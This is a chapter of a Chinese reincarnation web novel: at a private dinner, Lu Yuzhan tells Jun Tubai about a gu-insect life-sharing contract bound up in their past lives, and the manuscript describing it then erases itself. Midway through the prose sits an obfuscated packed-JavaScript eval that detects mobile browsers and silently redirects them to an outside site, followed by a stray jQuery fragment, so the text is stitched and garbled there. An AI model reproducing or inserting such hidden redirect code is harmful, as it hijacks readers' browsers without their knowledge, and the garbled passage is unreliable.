君荼白把那块怀表锁进了公寓保险箱的最里层。
他靠在墙边，长长吐出一口气。仿佛锁进去的是一只随时会噬人的活物。
第二天傍晚，雨又来了。
雨不大，淅淅沥沥的，像谁在天上慢条斯理地筛着细沙。君荼白站在公寓窗前，看着雨水在玻璃上划出蜿蜒的水痕，左手腕的疤痕传来隐约的麻痒，像有无数细小的虫足在皮肤下轻轻爬动。
他想起旧货市场老头说的话：“母蛊在，子蛊就在。子蛊在，禁制就在。”
六点整，手机准时震动。陆予瞻发来定位和简短的一句：“到了给我消息，我出来接你。”
定位是城南一栋私人会所，名字很雅致，叫“听松阁”。君荼白查过，那里实行会员制，不对外开放，主要承接高端文化沙龙和私人收藏品鉴赏会。陆予瞻所在的“文华遗产基金会”今晚在那里举办季度晚宴，名义是答谢捐赠人，实则是个小型藏品交流现场。
君荼白翻出来唯一一套像样的西装——深灰色，三年前买的，有些紧了。系领带时手指有些不听使唤，打了两次才成型。镜子里的人脸色苍白，眼下有淡淡的青影。
他知道自己应该紧张，应该害怕，应该对即将面对的“真相”感到惶恐。
但奇怪的是，此刻他心里只有一种近乎麻木的平静。
就像站在悬崖边上的人，低头看着深渊，反而不再恐惧坠落。
七点，雨势稍大。君荼白撑伞出门，打车前往听松阁。
会所隐在一片老梧桐树后面，青瓦白墙，是仿民国建筑的风格。门口没有招牌，只有两盏昏黄的灯笼在雨幕里摇曳。君荼白报出陆予瞻的名字，穿旗袍的侍者微微颔首，领他穿过一道月亮门，走进内院。
内院别有洞天。回廊曲折，雨打芭蕉的声音清脆悦耳。几间厢房里透出暖黄的灯光，隐约能听见里面的人声和瓷器轻碰的脆响。
“君先生？”
陆予瞻的声音从回廊另一头传来。
君荼白转身，看见他沿着青石板路走来。今晚的陆予瞻和平时不太一样，还是戴着金丝眼镜，但换了一身靛青色的中式立领外套，料子看着像是真丝，在灯光下有细腻的光泽流动。他手里拿着一把黑色的长柄伞，伞尖还滴着水。
“雨突然大了，我还担心你找不到路。”陆予瞻走近，笑容温和自然，“走吧，晚宴刚开始，我先带你去见几位老先生。他们都是基金会的老朋友，对你的修复手艺很感兴趣。”
他的态度太正常了，正常到让君荼白有一瞬间的恍惚。
仿佛昨天在旧货市场看到的一切，那些泛黄的照片、玻璃舱里的蛊虫、老头嘴里那些关于轮回和债务的话，都只是一场荒诞的梦。
“怎么了？”陆予瞻察觉到他的停顿，侧头看他，“脸色不太好，不舒服？”
“……没事。”君荼白移开视线，“走吧。”
陆予瞻没再追问，只是引着他往主厅走。经过一处敞开的窗时，君荼白无意间瞥见窗外雨中的庭院假山旁，一个穿着黑色西装的身影静静立在那里，没有打伞，任由雨水打湿肩膀。
君荼白已经免疫了。
移动的“标枪”站在一棵老松树的阴影里，目光隔着雨幕和窗格，准确地落在君荼白身上。
只是一瞥，“标枪”就移开了视线，重新看向庭院深处。
“看什么？”陆予瞻顺着他的视线望去。
庭院里空无一人。周屹已经消失在假山后面，仿佛从未出现过。
“……没什么。”君荼白收回目光，“走吧。”
主厅比想象中小，布置得却很雅致。二十几个人三三两两地站着聊天，大多年过半百，穿着考究，言谈间带着文化人特有的那种从容不迫。厅中央的长条桌上摆着茶点和冷餐，墙边有玻璃展柜，里面放着几件今晚要展示的藏品。
陆予瞻带着君荼白一一介绍。这位是某博物馆的前馆长，那位是著名的收藏家，还有几位是高校的历史系教授。每个人都对君荼白很客气，问的问题也都专业：用的什么纸、哪种墨、修复周期多长、有没有遇到过特别棘手的破损……
一切都很正常。
正常得令人不安。
直到晚宴进行到一半，侍者推出一辆盖着红绒布的小推车。陆予瞻走到厅中央，轻轻敲了敲手中的茶杯，所有人安静下来。
“感谢各位今晚莅临。”他的声音在厅里回荡，清晰而沉稳，“按照惯例，基金会每个季度都会展示一件近期入藏或修复完成的珍品。今晚要给大家看的，是一本很特别的书。”
红绒布被揭开。
玻璃罩下，是一本线装古籍。封皮是深蓝色的，没有题签，纸页泛黄，边角有明显的虫蛀和水渍痕迹。
君荼白的呼吸停了一瞬。
那本书，他认识。
不，更准确地说他摸过。
就在上个月，基金会送来一批待修复的古籍，其中就有这本。陆予瞻当时特意叮嘱：“这本先不急，放一放。”君荼白只粗略翻过几页，记得内容很杂，像是某个人的私人笔记，记录了各种奇闻异事、民俗方术，还有一些看不懂的符号和图谱。
“这本书暂时没有正式定名。”陆予瞻的声音继续，“从内容和纸张判断，应该是清末民初的民间手抄本。特别之处在于——”
他顿了顿，目光扫过全场，最后落在君荼白身上。
“里面有几页，提到了某种现在已经失传的……‘共生契约’。”
厅里响起轻微的议论声。
“共生契约？是某种民间信仰吗？”有人问。
“类似，但更具体。”陆予瞻示意侍者打开玻璃罩，戴上白手套，小心翼翼地将书翻到某一页，“根据这几页的描述，这种契约需要至少两人，通过某种‘媒介’建立连接。连接一旦形成，双方的命数就会产生某种程度的……纠缠。”
他抬起头，眼镜片后的眼睛在灯光下反射出微妙的光。
“契约方共享福祸，共担生死。一方受伤，另一方也会感到疼痛。一方濒死，另一方的生命也会流逝。”
厅里安静下来。
“这听起来像某种巫术。”一位老教授皱起眉。
“可以这么说。”陆予瞻合上书，“但有意思的是，这本笔记的作者自称是这种契约的‘见证者’。他说自己亲眼见过几对建立这种连接的人，其中一对——”
他的声音又停了停。
“活了很久很久。久到超出了正常人的寿命。”
这下议论声更大了。
“长生？荒谬！”有人摇头。
“未必是长生。”陆予瞻平静地说，“笔记里的原话是：‘年岁叠加，命线纠缠，不知今夕何夕。’更像是……每个人的时间，被混在了一起。”
君荼白站在人群边缘，感觉左手腕的疤痕又开始发烫。
他下意识地握紧手腕，指尖触到皮肤下那个月牙形的凸起。
它在跳动。
像一颗微弱的心脏。
“当然，这些都只是古籍里的记载，真伪难辨。”陆予瞻重新盖上玻璃罩，恢复了一贯的温和笑容，“基金会收藏这本书，主要是作为民俗学研究的材料。今晚拿出来分享，也是想听听各位专家的看法。”
话题很快转向学术讨论。有人说起云南某些少数民族的“同命蛊”，有人提到道教里的“寄命术”，还有人扯到西方神秘学里的“生命共享契约”……
君荼白一个字也听不进去。
他的全部注意力都集中在自己手腕上。那里，那个疤痕正随着心跳的节奏，一下、一下地搏动。每搏动一次，就有一股细微的热流顺着血管往上爬，一直爬到心脏的位置。
然后他听见了声音。
不是耳朵听见的。
是直接从脑子里响起来的。
很轻，很模糊，像隔着一层厚厚的毛玻璃。但依稀能分辨出，是周屹的声音——
“走。”
只有一个字。
急促，紧绷，带着某种近乎恐慌的警告。
君荼白猛地抬头，环顾四周。陆予瞻还在和几位老先生交谈，侍者在添茶，其他人或在听或在讨论。一切如常。
但周屹的警告还在脑子里回响。
“走。快走。”
君荼白往后退了一步，转身，想悄悄离开主厅。刚走到门口，一只手轻轻按在他肩上。
“要去哪里？”
陆予瞻不知什么时候出现在他身后，脸上还带着笑。
“我……有点闷，想去院子里透透气。”君荼白尽量让声音听起来正常。
“我陪你。”陆予瞻的手没有松开，“正好，我也有话想单独跟你说。”
不是询问，是陈述。
君荼白知道自己走不了了。
两人沿着回廊慢慢走。雨还在下，打在廊檐的瓦片上，声音细密绵长。廊下每隔几步就挂着一盏纸灯笼，暖黄的光在雨夜里晕开，像一个个悬浮的茧。
“那本书，”走出一段后，陆予瞻先开口，“你看过，对吧？”
君荼白点头：“翻过几页。”
“觉得怎么样？”
“……很怪。”君荼白斟酌着用词，“不像正经的学问，像民间术士的杂记。”
陆予瞻笑了：“你看得很准。那本书的作者，确实是个游方术士。而且很可能，是个真的懂点东西的术士。”
他停下脚步，靠在廊柱上，从口袋里摸出一包烟，抽出一根点燃。烟雾在雨气里袅袅上升，很快散进夜色。
“我找那本书，找了很多年。”他说，声音轻得像自语，“直到三个月前，才从一个地下拍卖会拍到。到手之后，我第一个想到的就是你。”
君荼白看着他：“为什么？”
“因为里面提到的那种‘共生契约’，”陆予瞻转过头，眼镜片后的眼睛直直看向他，“需要一种特殊的‘媒介’才能建立。”
“什么媒介？”
“蛊。”
雨声突然变得很响。
君荼白感觉自己的心跳漏了一拍。
“蛊虫作为载体，种在契约方体内。”陆予瞻继续说，语气平静得像在讲解学术论文，“子蛊和母蛊建立连接，通过这种连接，双方的命数开始纠缠。笔记里说，这种契约一旦结成，就几乎无法解开。除非……”
“除非下蛊的人死了。”君荼白接上他的话。
陆予瞻抽烟的动作顿了顿。
然后他慢慢笑了，笑容里有些复杂的东西。
“你去见过老鬼了。”他说，不是疑问，“周屹带你去的。”
君荼白没有否认。
“他都跟你说了什么？”陆予瞻问，“轮回？照片？还是……锁声蛊？”
每一个词都像一块冰，砸进君荼白的意识里。
“他说的是真的吗？”君荼白听见自己的声音在问，“那些照片，那些轮回……还有我手腕上的这个。”
他拉起袖子，露出那个疤痕。
在廊灯的照射下，疤痕呈现出一种不正常的淡红色，皮肤下的搏动清晰可见。
陆予瞻盯着那个疤痕看了很久。
久到君荼白以为他不会回答了。
然后他掐灭烟蒂，伸手，轻轻握住了君荼白的手腕。
他的指尖很凉。
“这个疤，”陆予瞻低声说，“是你自己留下的。”
“什么时候？”
“第一世。”他的拇指抚过疤痕边缘，动作很轻，“你说，要给自己一个记号。一个无论轮回多少次，无论忘掉多少事，都能认出来的记号。”
君荼白的呼吸变得急促。
“为什么？”他问，“为什么要轮回？为什么要忘记？”
陆予瞻松开手，重新靠回廊柱。雨声里，他的侧脸在灯笼光下显得有些不真实。
“因为有些债，一辈子还不完。”他说，“有些错，一次改不了。有些人……一次救不回来。”
他的声音低下去，最后几个字几乎被雨声吞没。
“所以你选择了最笨的方法。”君荼白说，“一次又一次地重来，一次又一次地试。”
陆予瞻没说话。
默认了。
“那周屹呢？”君荼白追问，“他的锁声蛊，真的是我下的？”
这次，陆予瞻沉默得更久。
然后他轻轻叹了口气。
“是。”他说，“是你下的。但那是他自己要求的。”
“什么？”
“第三世的时候，出了点……意外。”陆予瞻斟酌着词句，“周屹知道了些不该知道的事，差点说漏嘴。为了封住那些话，他求你给他下蛊。你说，锁声蛊太狠，他不肯听。最后是他自己拿着蛊虫，逼你动手。”
君荼白眼前突然浮现出一个画面——
昏暗的房间里，年轻的周屹跪在地上，手里捧着一只银色的蛊虫。年轻的自己站在他面前，手在发抖。
“你想清楚。”那个自己对周屹说，“一旦种下，你这辈子都说不出来了。”
“我知道。”周屹抬头，眼神坚决，“动手吧。”
然后蛊虫被送进喉咙，银光一闪，没入皮肉。
周屹的喉咙剧烈起伏，额上青筋暴起，但硬是没发出一声痛呼。
画面碎了。
君荼白扶住廊柱，感觉一阵眩晕。
“为什么……”他喃喃，“为什么要做到这种地步……”
“因为有些话，说出来会死更多人。”陆予瞻的声音很平静，平静得可怕，“周屹选择用一副嗓子，换几条人命。很划算，不是吗？”
君荼白猛地转头看他。
陆予瞻的脸上没有任何表情。眼镜片反射着灯笼的光，看不清眼神。
但君荼白突然意识到一件事：
这个人，这个总是温润带笑、彬彬有礼的陆予瞻……
骨子里，可能比谁都冷。
“那你呢？”君荼白问，“你欠我什么？老头说，我欠你一段人生。”
陆予瞻笑了。
这次是真的笑，笑出了声，但笑声里没有一点温度。
“你不欠我。”他说，“是我欠你。”
他转过身，面对着廊外的雨幕。背影挺拔，却莫名显得有些……孤寂。
“第一世，我是个书生，你是世家少爷。你救过我的命，帮我平了冤案，还资助我进京赶考。我说，等我考中了，一定回来报答你。”
他顿了顿。
“但我没考中。回乡的路上，听说你家出事了。赶到的时候，只剩一片废墟。你在火里，我去拉你，没拉住。”
雨声哗哗。
“第二世，我成了商人，你是教书先生。我说，这辈子换我护着你。结果生意失败，仇家找上门，你替我挡了一刀。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052002|194818||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
陆予瞻的声音很轻，轻得像随时会断。
“第三世，第四世，第五世……每次都是这样。每次都是你说要救我，每次都是你死在我前面。”
他转过身，看着君荼白。廊灯下，君荼白看见他的眼眶有些红。
“所以你说，是我欠你，还是你欠我？”
君荼白答不上来。
他脑子里一片空白。
“那沈鉴呢？”他听见自己问，“我欠他什么？”
陆予瞻的表情变了。
刚才那种孤寂和脆弱瞬间消失，取而代之的是一种……近乎警惕的凝重。
“沈鉴不一样。”他说，“你欠他的，不是命，是别的。”
“是什么？”
陆予瞻没回答。
他只是抬起手，指了指君荼白的胸口。
“你这里，”他说，“有他想要的东西。一件他找了几辈子，都没找到的东西。”
“什么东西？”
“记忆。”陆予瞻说，“不是你的记忆，是别人的。很多很多人的记忆，都锁在你这里。沈鉴想要那些记忆，因为他觉得，那里面藏着一个……答案。”
“什么答案？”
“关于这一切为什么会开始的答案。”陆予瞻看着他。
他的声音低下去，低到几乎听不见。
“也关于……这场轮回，到底什么时候才能结束。”
雨越下越大。
廊檐开始漏水，水滴砸在青石板上，溅起细小的水花。远处主厅的人声隐约传来，笑语晏晏，和此刻回廊里的死寂形成鲜明对比。
君荼白看着陆予瞻，看着他眼镜片后那双深不见底的眼睛，突然戳破了那几世的谎言：
“你在骗我。如果前几世只是这样，沈鉴不会费尽心思想从我身上获取我的记忆。”
陆予瞻沉默了几秒。
然后他说：
“周屹想让你活着。”
“沈鉴想让你想起来。”
“而我……”
他顿了顿。
“我想让你选。”
“选什么？”
“选要不要继续。”陆予瞻说，“最后一场轮回，你可以选择继续，也可以选择停下。但停下有代价，继续也有代价。你得自己想清楚，哪个代价你付得起。”
君荼白握紧了拳。
左手腕的疤痕在剧烈跳动，像有什么东西在里面横冲直撞，想要破皮而出。
“如果我选停下，”他问，“代价是什么？”
陆予瞻看着他，眼神复杂。
“你会死。”他说得很直白，“不是这一世的死，是真正的、魂飞魄散的死。轮回会终止，你再也不会进入下一个循环。”
“那你们呢？”
“我们会陪你。”陆予瞻说，“契约是共生的，你死，我们也活不了。”
君荼白呼吸一窒。
“那如果……我选继续？”
“你会继续完成当时的约定，继续在这一世里寻找那个‘修正’的机会。直到某一天，你真的修正了那个最初的错误，这场轮回才会自动终止。”
“到那时，我们都能活？”
“都能活。”陆予瞻点头，“而且能真正地、自由地活。”
君荼白低下头，看着自己手腕上那个跳动不止的疤痕。
它每跳一下，就在提醒他一件事：
这场轮回，这场持续了不知道多少年的、沉重的、痛苦的轮回……
是他自己选的。
为了救一些人。
为了改一些错。
为了还一些债。
雨声里，他听见自己问：
“那个最初的错误……是什么？”
陆予瞻没说话。
他只是抬起手，指了指主厅的方向。
“答案在那本书里。”他说，“但你看不懂。现在这世上，只有一个人能看懂那本书里真正的意思。”
“谁？”
陆予瞻看着他，一字一顿：
“沈鉴。”
就在这时，主厅方向突然传来一声惊呼，接着是瓷器碎裂的脆响。
陆予瞻脸色一变，转身就往主厅跑。君荼白愣了一秒，跟了上去。
主厅里一片混乱。
玻璃展柜碎了，那本古籍掉在地上，散开几页。几位老先生围在旁边，脸色都不好看。侍者正在收拾碎片。
“怎么回事？”陆予瞻快步走过去。
“不知道。”一位老教授摇头，“刚才还好好的，突然‘砰’一声，展柜自己裂了。”
陆予瞻蹲下身，戴上手套，小心地捡起古籍。君荼白站在他身后，看见翻开的页面上，有几行字正在……消失。
墨迹像被什么无形的东西擦去，一个字一个字地淡去，最后变成空白。
几秒钟后，整页都白了。
“这……”有人倒抽一口冷气。
陆予瞻快速翻动书页。不止这一页，前后好几页都在消失。那些记载着“共生契约”细节的页面，那些画着奇怪符号和图谱的页面，都在以肉眼可见的速度变成空白。
仿佛有谁在远程操控，精准地抹去这些内容。
“沈鉴。”陆予瞻低声说，声音里带着压抑的怒意。
他掏出手机，快速拨了个号码。
无人接听。
再拨，还是无人接听。
陆予瞻收起手机，脸色阴沉得可怕。他小心地把古籍收进一个特制的防水袋里，递给侍者：“收好，任何人都不准碰。”
然后他转身，看向君荼白。
“他动手了。”陆予瞻说，声音冷得像冰，“他知道你开始查了，所以先一步抹掉证据。”
“谁？沈鉴？”
陆予瞻点头。
“他为什么要这么做？”
“因为他不想让你知道太多。”陆予瞻说，“至少，不想让你现在就知道。”
他走到君荼白面前，压低声音：
“今晚就到这里。你先回去，锁好门，任何人敲门都不要开。周屹会在附近守着，安全方面不用担心。”
“那你呢？”
“我去找沈鉴。”陆予瞻说，“有些事，该摊开说说了。”
他拍了拍君荼白的肩。
“记住，不管发生什么，不管谁跟你说什么。在你真正想清楚之前，不要做任何决定。”
说完，他转身快步离开，身影消失在雨夜里。
君荼白站在原地，看着满厅的狼藉，看着那些还在窃窃私语的老先生，看着侍者小心翼翼地收拾残局。
然后他低头，看着自己手腕上那个疤痕。
它还在跳。
但节奏变了。
不再是急促的警告，而是一种……缓慢的、沉静的搏动。
像在说：
“快到了。”
“那个你等了很久的答案，快到了。”
君荼白握紧手腕，转身离开主厅。
雨还在下。
廊檐下，他看见周屹站在不远处的阴影里，静静看着他。见他出来，周屹微微颔首，然后转身，像一道影子般融进夜色。
君荼白没有叫住他。
他只是撑开伞，走进雨里。
脚步很稳。
一步一步。
走向那个正在快速逼近的、无法回避的真相。